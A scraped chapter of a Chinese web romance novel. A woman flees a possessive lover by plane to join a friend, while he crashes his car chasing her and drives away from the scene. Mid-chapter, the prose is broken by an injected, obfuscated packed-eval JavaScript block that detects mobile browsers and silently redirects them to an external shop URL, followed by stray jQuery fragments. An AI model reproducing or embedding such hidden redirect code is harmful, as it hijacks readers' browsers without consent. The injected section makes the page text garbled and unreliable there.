文趣网 > 都市小说 > 温柔学长竟是阴湿病娇 > 39. 游入大海的第一天
    消防通道内,俞行绕过杨飞翼,杨飞翼一下抓住他的胳膊。

    俞行用力一扯:“赵清之不过用点甜头吊着你,你就这么死心塌地?”

    杨飞翼的脸红了又白。

    “这不关你的事。”

    “我和温煦的事同样与你无关。”俞行甩开杨飞翼,径直出了通道。

    杨飞翼一咬牙。

    “等等!”

    他冲上前锁住俞行:“温煦早坐飞机走了!”

    空气骤然一沉,周遭瞬间静得吓人。

    “哥,哥们……”杨飞翼咽口唾沫,“不是我说,天涯何处无芳草,何必呢……”

    “去哪的飞机?!”

    俞行猛然挣脱,杨飞翼闷哼一声摔坐在地。

    “这个我不知道。”杨飞翼抖,“兄弟,这个我真的不知道……”

    “滚!”

    俞行大步跨进电梯,连着摁了好几下,掏出手机搜索今天下午津北国际机场的所有国内航班信息。

    看不清。

    一直在晃。

    他滑动着手机的手抖得很厉害。

    她怎么会走。

    她那么乖,那么笨。在老房子就被折腾得没力气了,捏着她的脸揉一揉,她都不会用坚硬的眼神瞪他。

    坐飞机飞走。她哪来的钱,哪来的机票?

    一定是有人蛊惑,有人教唆。她现在是不是很害怕啊?在飞机上,一个人坐着,也没有手机。她是被人骗了的,现在肯定在悄悄地哭,在喊他的名字,祈求他会来救她,带她回家。

    他按灭屏幕,将手机贴在心口,闭着眼睛仰起头,低低地喘了几口气。

    “小鱼……小鱼。等我一会……我马上来救你。”

    “客机舱门即将关闭——”

    温煦一路狂奔的燥热撞上机舱冷气流,打了个寒战。

    模糊的广播“嘟嘟嘟嘟”响着,急促的喘息使得胸腔起伏不停。她终于摸到座位旁:“您好——麻烦——我进去。”

    赵映之给她订的甚至还是靠窗的位置。

    她将自己整个人脱力地摔在座位上,颤着手扣上安全带。

    “我们的飞机开始滑行。请各位乘客调直座椅、收起小桌板……”

    温煦闭眼。

    ……腿软了。

    肾上腺素开始消退,额角的热汗也被冷气降温。身边的年轻女人给她递了张湿巾,温煦感激地接过,慢慢擦汗。

    小窗外的建筑开始动了。

    航站楼密集的玻璃窗与登机桥支架后退,地勤人员举着指挥牌的身影随之而去。

    温煦目不转睛地看着。

    飞机越来越快,越来越快,跑道旁的草坪和树木加速成不分你我的绿色色块,整架飞机震颤,一股巨大的力托着温煦向上,她紧紧抓着身侧的扶手——

    飞起来了!

    “哗哗”的破空之声鼓动着温煦的耳膜,心脏几乎随着惯性往上冲破胸膛。

    蓝天万里下,云海翻涌。

    津北下雨了。

    铅灰色的午后,连绵冷雨。

    黑色迈巴赫飞速穿行在雨幕之中,车轮“嗡”地溅开水花。雨水“哒哒”敲打着车顶与车窗,如同计时。

    从这里到机场,还要十分钟。

    十分钟……十分钟……

    俞行猛打方向超过前面慢下来的别克,后车司机探头:“**的赶着投胎啊!**有钱人……”

    俞行充耳不闻。

    还要再快些……小鱼在哭呢。

    迈巴赫接连穿梭,全速飞驰,前方路口突然有一辆私家车猛然地变道横穿。

    眼镜映出前方白色车尾,两辆车距离瞬间拉近,俞行急打方向盘、重踩刹车——

    “砰!”

    闷响穿透雨帘。

    黑色迈巴赫和白色私家车歪停在路面上,雨声、刹车声和路人惊呼交织。

    “哈……哈……”

    安全带紧勒着胸口,俞行左手下意识按住发胀的额头,右手还死死攥着方向盘,指节惨白。

    殷红的液体从左手指缝滴落。

    车头还和那辆车抵着。

    “……咳!”

    他顾不得脖颈僵硬的钝痛,双手把住方向盘,踩着油门挪开。

    原本线条凌厉的车头面目全非,前挡风玻璃裂出蛛网,前脸向内大幅溃缩,厚重的前保险杠彻底变形弯曲,塑料碎片散落在积水的路面。

    还好……还能开。

    额头的血顺着眉骨爬进眼窝,额角的口子浓重黑红的一条,数条大大小小的血流蜿蜒而下,糊住他的左眼,绕过红紫肿胀的碰撞处,涂满平整的颧骨,画到耳边,滴在下巴上。鼻子大概也在流血,那些血混在猩红中,但俞行马上就感受到它了——是他的小鱼打过的呀,他们血脉相融过。现在又在发烫了,是她在唤他。

    车窗有人拍打。他没开。有人到前挡风玻璃大吼大叫,看见他时却吓得往后一退。

    俞行如同一个披着俊朗人皮的血红的恶鬼。

    一切都是血色——柏油路和绿化带都蒙上红雾,眼球一阵刺痒酸胀,他眨动眼皮,血水顺着眼角往下淌。

    有血掉进眼睛了。

    水温表在报警。

    他抹了把脸,狠踩油门。

    “我去,对面追尾了。”

    赵清之将墨镜推上去卡着头发。

    “那迈巴赫撞得可真惨。”她“嘶”地吸气,“看着有点眼熟啊。”

    赵映之说:“你快别看了,当心你也撞着。”

    残破的迈巴赫带着股疯劲往前冲,与赵清之的艳红野马相向擦过。

    赵映之蹙眉,撑着座椅扭身回头看它黑色的影子:“开走了?肇事逃逸?”

    赵清之乐:“开得起迈巴赫,赔不起钱?有意思哦。”

    “呜哩呜哩”的警笛划破长空,两辆警车红蓝交替的警灯紧追上去。

    又一架客机起飞,穿入昏沉的高天。

    “女士们先生们,我们已降落在江城国际机场,当地时间20:10,地面温度16摄氏度……”

    机舱顶灯缓缓调暗,光线柔和又压抑。

    “咔嚓”解开安全带的声音从周围传来,旁边的女人掏出手机打电话。

    “喂,妈。我落地了,你和爸在老地方等我,啊。哎,都说了你们不用来这么早……”

    温煦推开遮光板,外头是江城湿漉漉的停机场,远处的乌云层层叠叠。

    她随着人流排着出了机舱,通过通道,往到达大厅去。

    主到达口,来往的人流攒动,无数个行李箱滚轮在地上滑动。接机的人在带子后站成两三排,举着各色的姓名牌。

    温煦还穿着那套运动服,止汗带倒是拿下来了,揣在兜里。

    她站在闸机口,两手空空,口袋里只有临时身份证和一张登机牌。

    她像一株被连根拔起的植物,根系露在外面,还沥沥拉拉地落着潮湿的泥土。

    有人从她身边挤过去,推着两个大箱子,在打电话:“到了到了,你停几号门?”声音很快被大厅的混响吞掉。

    温煦慢慢往前走。

    她打算先看看找找……如果那个人不在,她就去服务台打电话问问。如果那个人不愿意来……

    温煦心跳慢了一拍。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610366|205273||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    不会的。赵映之说了,她联系上了。更重要的是……

    她相信她。

    高三的最后一天,她们一起躺在草地上,她说——

    “我们一定会再见的。”

    温煦抬眼。

    钟意顶着酒红色的头发,挤在出口人群里,她怀里抱着支极其简单的向日葵。

    没有包装纸,花杆挺直。金黄的花瓣却破开灰蒙蒙的雨雾与压抑匆忙的冷灰,让温煦一眼找见她。

    “煦子!”

    她挥手。

    温煦跑过去,扑进她怀里。钟意勉强用两只手抱住她,将她整个人裹进卫衣的棉质气味里。

    温煦的肩膀在抖。她其实路上在想,等会见到钟意,第一句话说什么。想了很多版本,还没分出胜负。

    可她现在颤抖着,眼泪往外滚,脑海一片空白。

    “钟意……对不起……”

    “有什么对不起的!”钟意拍拍她的肩背,心疼地惊道:“怎么瘦了这么多!”

    温煦抽泣:“是我不好……如果我听你的……如果我不和他……”

    那你就不会收到那些短信。

    你就不会在津北找不到我。

    但即使如此,钟意还是没有抛弃她。

    温煦心中有种小人的庆幸。

    “好了好了,都是那个姓俞的坏。”钟意拉起她的手,“饿了没?想不想吃蟹黄汤包?我跟你说,我知道全江城最好吃的店在哪。”

    温煦破涕为笑:“在哪?”

    “在江城啊。”钟意咧嘴,把向日葵塞到温煦手里。

    “煦子我跟你说,本来我是要做个给明星用的接机牌——超级豪华的超大的,我特别拿手做那个。但是我怕太好看了,别人以为你是明星呀,给你拍网上去了怎么办,会不会被姓俞的看见。我就没做了。”

    温煦噗嗤一笑。

    久久紧绷的神经终于放松,温煦和钟意一路没营养地扯天扯地,打车到了汤包店。

    夜色降临,江城市中心的宽阔江面倒影着岸边繁华,游船驶过,拖曳一路流光。空气里浮动着高级感与不夜城的喧嚣,每一寸霓虹光影都写满奢侈与锋芒。

    “……江城就是这样啦,机会多,反正我是挺喜欢。今晚休息好,之后我带你好好逛~”

    钟意带着她拐进老街巷,推门钻进家老牌汤包店。

    小店桌椅紧凑,灯火暖黄,蒸腾的热气裹着鲜香,是另一种烟火气。

    钟意熟练地给温煦介绍了几样招牌的,点了菜。

    “反正我在外面租房实习呢,你就和我住。给我做做饭,当我的田螺姑娘呀。”

    温煦脸红:“我会不会拖累你呀……要是不行,我就回遂江去,等申到项目了,我再来找你玩。”

    钟意笑:“那你还是在江城打点工,给我交房租吧。”

    “……罚款两千元。”

    中年交警锁着眉,慢慢宣读行政处罚决定书。

    交警办公室的墙面贴着白底交通守则,头顶日光灯管冷白发亮。桌面摊着现场照片和处罚审批单。

    交警将纸质文书推到俞行面前。

    “签字确认。记满12分,暂扣期间不得驾驶机动车,车辆暂扣。”

    俞行的额头勉强包扎过,脸颊边还有淡淡的红痕。

    他垂眸低头,拿起黑色水笔,锋利地一笔一划签下名字。

    走出交警队的大门,黄昏早已落幕。天空黑沉,路灯在雨雾里晕开一团昏黄的虚光。

    他的手机屏幕闪了一下,弹出一条提醒。

    ——您所购买的航班将于一小时后起飞,建议立即出发……